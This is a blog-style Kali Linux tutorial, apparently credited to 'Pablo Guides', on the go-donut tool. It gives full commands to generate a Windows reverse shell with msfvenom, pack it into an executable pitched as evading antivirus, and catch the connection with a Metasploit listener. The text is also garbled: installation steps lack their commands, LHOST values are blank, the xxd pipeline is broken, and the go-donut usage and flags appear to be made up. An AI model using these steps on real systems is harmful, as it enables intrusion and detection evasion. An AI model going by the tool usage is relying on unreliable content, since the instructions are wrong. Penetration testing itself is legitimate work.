# Kali Linux Course #210: Using golang-github-binject-go-donut

## Section 1: Installation and Configuration

### Introduction to go-donut

The `golang-github-binject-go-donut` tool allows users to create Windows executables that are entirely self-contained and stealthy. This is achieved by embedding shellcode into a native executable, making it particularly useful for penetration testers and security researchers looking to analyze or demonstrate vulnerabilities in Windows systems.

### Prerequisites

1. **Kali Linux**: Ensure you are running the latest version of Kali Linux.
2. **Go (Golang)**: The tool is written in Go, so you must have Go installed. If you haven't installed it yet, you can do so by executing the following commands:


sudo apt update
sudo apt install golang

3. **git**: You will also need Git to clone the repository:

### Installation

1. **Clone the Repository**: To begin, you need to clone the go-donut repository from GitHub. Open your terminal and run:


git clone https://github.com/binject/go-donut.git

2. **Navigate to the Directory**: Change into the cloned repository's directory:

3. **Build the Binary**: Now, build the go-donut binary using Go. This can be completed with the following command:

4. **Verify the Installation**: After the build process is complete, verify that the `go-donut` binary has been created:

You should see a `go-donut` executable in the list.

### Configuration

The `go-donut` tool does not require extensive configuration, as it is designed to be straightforward to use. However, you can customize various parameters when creating donuts (embedded shellcode).

– **Environment Variables**: If desired, you could set environment variables to define paths for binaries and libraries, especially if you're working in a multi-project environment.

"`bash
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin
"`

## Step-by-Step Usage

Now that you've installed and configured `go-donut`, let’s explore how to use it effectively.

### Creating a Basic Donut

To create a basic donut, you will need some shellcode. For demonstration purposes, we will use a simple reverse shell payload generated using `msfvenom`.

1. **Generate Shellcode**: Generate the payload using `msfvenom`:


msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f raw -o shellcode.raw

Replace `` with the IP address of your listener machine.

2. **Convert Shellcode to Hex**: Convert the raw shellcode into a format that `go-donut` can work with:


xxd -p shellcode.raw | tr -d 'n' > shellcode.hex

3. **Create the Donut**: Now, you can embed the shellcode into a donut:


./go-donut -shellcode shellcode.hex -output mydonut.exe

4. **Run the Listener**: Before you execute the generated executable, start a listener on your attacking machine (commonly done using Metasploit):


msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST
set LPORT 4444
exploit

5. **Execute the Donut**: Finally, transfer the `mydonut.exe` to the target Windows machine and execute it:

You should see a connection back to your Metasploit listener.

### Real-World Use Cases

#### Case Study 1: Red Team Engagement
In a typical red team engagement, using `go-donut` allows testers to deploy lightweight payloads that evade traditional detection mechanisms. The tool’s ability to create executable files that contain only the needed shellcode is invaluable for stealthy operations.

#### Case Study 2: Malware Analysis
Security researchers can use `go-donut` to analyze how certain types of payloads operate. By embedding various shellcodes, researchers can study the behavior of malware without involving external dependencies that may alter their results.

## Detailed Technical Explanations

The `go-donut` tool operates by packing shellcode into a Windows executable format, utilizing the Go programming language's capabilities. It works through the following process:

1. **Reading Shellcode**: The tool accepts raw shellcode in various formats, which it processes.
2. **Embedding**: It embeds the shellcode directly into the executable while handling necessary headers and execution context.
3. **Obfuscation**: The packing mechanism provides a layer of obfuscation, which helps evade detection by standard antivirus solutions.

### External References

– [Go Donut GitHub Repository](https://github.com/binject/go-donut)
– [Metasploit Framework](https://www.metasploit.com/)
– [Understanding Shellcode](https://www.cisecurity.org/white-papers/introduction-to-shellcode/)
– [Pentesting Windows Environments](https://www.sans.org/white-papers/36597/)

### Code Examples

Below are several code snippets that demonstrate various commands and their expected outputs.

"`bash
# Command to generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f raw -o shellcode.raw
"`

"`bash
# Command to convert shellcode to hex
xxd -p shellcode.raw | tr -d 'n' > shellcode.hex
"`

"`bash
# Command to create the donut
./go-donut -shellcode shellcode.hex -output mydonut.exe
"`

"`bash
# Command to start the Metasploit listener
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST
set LPORT 4444
exploit
"`

This advanced white-hat pentesting course section provides a concise yet comprehensive overview of how to utilize the `golang-github-binject-go-donut` tool effectively in various scenarios. Understanding both the installation and use cases empowers security professionals to conduct better assessments and improve their skills in the cybersecurity domain.

Made by pablo rotem / פבלו רותם

Pablo Guides